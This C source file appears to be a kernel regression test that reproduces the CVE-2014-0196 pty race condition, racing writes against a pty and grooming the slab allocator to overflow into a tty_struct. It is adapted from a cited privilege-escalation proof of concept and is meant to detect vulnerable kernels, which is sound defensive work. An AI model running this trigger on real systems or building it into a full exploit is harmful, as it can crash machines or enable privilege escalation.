| /* |
| * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com> |
| * Original POC by Matthew Daley <mattd@bugfuzz.com> |
| * |
| * This program is free software: you can redistribute it and/or modify |
| * it under the terms of the GNU General Public License as published by |
| * the Free Software Foundation, either version 2 of the License, or |
| * (at your option) any later version. |
| * |
| * This program is distributed in the hope that it will be useful, |
| * but WITHOUT ANY WARRANTY; without even the implied warranty of |
| * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| * GNU General Public License for more details. |
| * |
| * You should have received a copy of the GNU General Public License |
| * along with this program. If not, see <http://www.gnu.org/licenses/>. |
| */ |
| /* |
| * This test attempts to cause a buffer overflow using the race condition |
| * described in CVE-2014-0196. If the test is successful in causing an |
| * overflow it will most likely result in an immediate Oops, restart or |
| * freeze. However if it overwrites memory not accessed during the test then |
| * it could happen at a later time or not at all which is more likely if SLAB |
| * randomization has been implemented. However as it currently stands, the test |
| * usually crashes as soon as the delay has been calibrated. |
| * |
| * To maximise the chances of the buffer overflow doing immediate detectable |
| * damage the SLAB filler sockets and ioctls from the original exploit POC |
| * have been kept even though they are not strictly necessary to reproduce the |
| * bug. |
| * |
| * Further details: |
| * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00 |
| * privilege escalation POC https://www.exploit-db.com/exploits/33516/ |
| */ |
| |
| #include <pty.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <termios.h> |
| #include <limits.h> |
| |
| #include "tst_test.h" |
| #include "tst_timer.h" |
| #include "tst_safe_pthread.h" |
| |
| #include "tst_fuzzy_sync.h" |
| |
| #define ONEOFF_ALLOCS 200 |
| #define RUN_ALLOCS 30 |
| #define ATTEMPTS 0x7000 |
| #define BUFLEN 512 |
| |
| static int master_fd, slave_fd; |
| static int filler_ptys[ONEOFF_ALLOCS * 2]; |
| static int target_ptys[RUN_ALLOCS * 2]; |
| static char buf[BUFLEN]; |
| |
| static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT; |
| |
| static void create_pty(int *amaster, int *aslave) |
| { |
| if (openpty(amaster, aslave, NULL, NULL, NULL) == -1) |
| tst_brk(TBROK | TERRNO, "pty creation failed"); |
| } |
| |
| static void setup(void) |
| { |
| int i; |
| |
| fzsync_pair.delay_inc = 100; |
| for (i = 0; i < ONEOFF_ALLOCS; i++) { |
| create_pty(&filler_ptys[i], |
| &filler_ptys[i + ONEOFF_ALLOCS]); |
| } |
| } |
| |
| static void *overwrite_thread_fn(void *p) |
| { |
| tst_fzsync_delay_b(&fzsync_pair); |
| tst_fzsync_time_b(&fzsync_pair); |
| |
| SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); |
| SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1); |
| SAFE_WRITE(0, slave_fd, buf, BUFLEN); |
| |
| return p; |
| } |
| |
| static void run(void) |
| { |
| struct termios t; |
| pthread_t overwrite_thread; |
| int i, j; |
| |
| tst_res(TINFO, "Attempting to overflow into a tty_struct..."); |
| |
| for (i = 0; i < ATTEMPTS; i++) { |
| create_pty(&master_fd, &slave_fd); |
| |
| for (j = 0; j < RUN_ALLOCS; j++) |
| create_pty(&target_ptys[j], |
| &target_ptys[j + RUN_ALLOCS]); |
| SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]); |
| SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]); |
| |
| SAFE_WRITE(0, slave_fd, buf, 1); |
| |
| tcgetattr(master_fd, &t); |
| t.c_oflag &= ~OPOST; |
| t.c_lflag |= ECHO; |
| tcsetattr(master_fd, TCSANOW, &t); |
| |
| SAFE_PTHREAD_CREATE(&overwrite_thread, NULL, |
| overwrite_thread_fn, NULL); |
| |
| tst_fzsync_delay_a(&fzsync_pair); |
| tst_fzsync_time_a(&fzsync_pair); |
| SAFE_WRITE(0, master_fd, "A", 1); |
| |
| SAFE_PTHREAD_JOIN(overwrite_thread, NULL); |
| |
| tst_fzsync_pair_update(i, &fzsync_pair); |
| |
| if (!(i & 0x1FFF)) |
| tst_fzsync_pair_info(&fzsync_pair); |
| |
| for (j = 0; j < RUN_ALLOCS; j++) { |
| if (j == RUN_ALLOCS / 2) |
| continue; |
| |
| ioctl(target_ptys[j], 0xdeadbeef); |
| ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef); |
| SAFE_CLOSE(target_ptys[j]); |
| SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]); |
| } |
| |
| ioctl(master_fd, 0xdeadbeef); |
| ioctl(slave_fd, 0xdeadbeef); |
| SAFE_CLOSE(master_fd); |
| SAFE_CLOSE(slave_fd); |
| } |
| |
| tst_res(TPASS, "Nothing bad happened, probably."); |
| } |
| |
| static void cleanup(void) |
| { |
| int i; |
| |
| for (i = 0; i < ONEOFF_ALLOCS * 2; i++) |
| close(filler_ptys[i]); |
| close(master_fd); |
| close(slave_fd); |
| } |
| |
| static struct tst_test test = { |
| .setup = setup, |
| .cleanup = cleanup, |
| .test_all = run, |
| }; |